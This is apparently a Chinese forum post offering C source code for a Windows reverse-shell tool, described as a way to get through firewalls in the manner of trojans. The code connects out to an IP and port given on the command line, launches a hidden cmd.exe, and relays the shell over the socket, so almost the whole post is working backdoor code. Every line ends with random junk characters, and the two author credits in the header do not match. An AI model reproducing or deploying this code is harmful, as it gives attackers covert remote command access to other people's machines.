这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NqazpB*
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/* ============================== +ZaSM~
Rebound port in Windows NT B
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By wind,2006/7 RNEp4x
===============================*/ !21FR*
#include ,GbR!j@6
#include UJAv`yjG
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#pragma comment(lib,"wsock32.lib") ;40/yl3r3[
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void OutputShell(); sk<3`x+
SOCKET sClient; |PCm01NU!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )np:lL$$
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void main(int argc,char **argv) shy-Gu&
{ v!-/&}W)1
WSADATA stWsaData; {yTGAf-DV
int nRet; [[Ls_ZL!=
SOCKADDR_IN stSaiClient,stSaiServer; F3[T.sf
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if(argc != 3) .GPT!lDc
{ YNyk1cE
printf("Useage:\n\rRebound DestIP DestPort\n"); j|DsG,
return; ` xEx^P^7
} $kdB |4C
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WSAStartup(MAKEWORD(2,2),&stWsaData); O-0x8 O^B
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fM :]&
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stSaiClient.sin_family = AF_INET; B?gOHG*vd>
stSaiClient.sin_port = htons(0); $Ps|HN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Af~$TyX
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6xx<Y2@
{ ~~/|dh5
printf("Bind Socket Failed!\n"); 9IdA%RM~mH
return; \$~|ZwV{
} \g&,@'uh
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stSaiServer.sin_family = AF_INET; T@H^BGs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vFzRg5lH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^qvZXb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h9&0Z+zs
{ !3c\NbU
printf("Connect Error!"); 1Z/(G1
return; 13$%,q)
} u
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OutputShell(); R3)~?X1n
} gS!:+G%
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void OutputShell() z3{G9Np
{ n:I,PS0H<
char szBuff[1024]; c)6m$5]
SECURITY_ATTRIBUTES stSecurityAttributes; fZGX}T<)p-
OSVERSIONINFO stOsversionInfo; .ljnDL/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pGP7nw_g
STARTUPINFO stStartupInfo; jh?H.;**
char *szShell; Y#ap*
PROCESS_INFORMATION stProcessInformation; :DK {Vg6
unsigned long lBytesRead; 8?B!2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "b~+;<}Q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g>E LGG|Q
stSecurityAttributes.lpSecurityDescriptor = 0; TM__I\+Q
stSecurityAttributes.bInheritHandle = TRUE; 60^`JVGWH
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nY[WRt w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !,_u)4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y1jCg%'H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )W,aN)1)
stStartupInfo.wShowWindow = SW_HIDE; 5zK4Fraf
stStartupInfo.hStdInput = hReadPipe; K(e$esLs-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1SQ3-WUs
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GetVersionEx(&stOsversionInfo); V@.Ior}w
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switch(stOsversionInfo.dwPlatformId) gMi0FO'
{ >jDDQ@
case 1: ozyX$tp
szShell = "command.com"; >4x(e\B
break; { T/[cu<
default: T=
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szShell = "cmd.exe"; kUb>^-
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break; 3,_aAgeE
} o"s)eh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k&M;,e3v6
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send(sClient,szMsg,77,0); yt+L0wzzB
while(1) (fH#I tf
{ [~+wk9P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2"v6
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if(lBytesRead) >>4qJ%bL
{ sU<Wnz\[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aL\PGdgO
send(sClient,szBuff,lBytesRead,0); h6Ub}(Ov
} :^lI`9'*R
else LRxZcxmy
{ MVpGWTH@F
lBytesRead=recv(sClient,szBuff,1024,0); ~p6 V,Q
if(lBytesRead<=0) break; u4cnE"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &C5_g$Ma.Z
} IV~>I-rd
} +zqn<<9
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return; B&M%I:i
}